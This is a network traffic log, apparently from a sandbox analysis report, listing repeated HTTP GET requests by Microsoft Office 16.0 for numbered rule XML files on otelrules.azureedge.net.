Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
